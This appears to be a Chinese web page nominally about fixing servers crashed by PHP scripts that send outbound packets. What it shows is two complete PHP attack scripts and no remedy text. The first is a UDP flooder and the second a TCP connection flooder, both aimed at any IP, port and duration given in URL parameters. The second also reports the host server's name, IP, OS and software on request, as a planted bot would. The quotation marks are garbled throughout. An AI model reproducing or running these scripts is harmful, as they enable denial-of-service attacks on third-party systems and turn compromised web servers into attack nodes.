php对外发包引发服务器崩溃的终极解决方法分享[推荐]

复制代码 代码如下:

$packets = 0;
$ip = $_GET[/'ip/'];
$rand = $_GET[/'port/'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET[/'time/'];
$time = time();
print /"Flooded: $ip on port $rand
/";
$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){
$out .= /"X/";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(/"udp://$ip/", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo /"Packet complete at /".time(/'h:i:s/')./" with
$packets (/" . round(($packets*65)/1024, 2) . /" mB) packets averaging /".
round($packets/$exec_time, 2) . /" packets/s //n/";
?>

复制代码 代码如下:

set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$packets = 64;
ignore_user_abort(True);
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
if (StrLen($_GET['rat'])<>0){
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".
php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
exit;
}
exit;
}
$max_time = time()+$exec_time;
while(1){
$packets++;
if(time() > $max_time or $exec_time != 69){
break;
}
$fp = fsockopen("tcp://$host", $port, $errno, $errstr, 0);
}
?>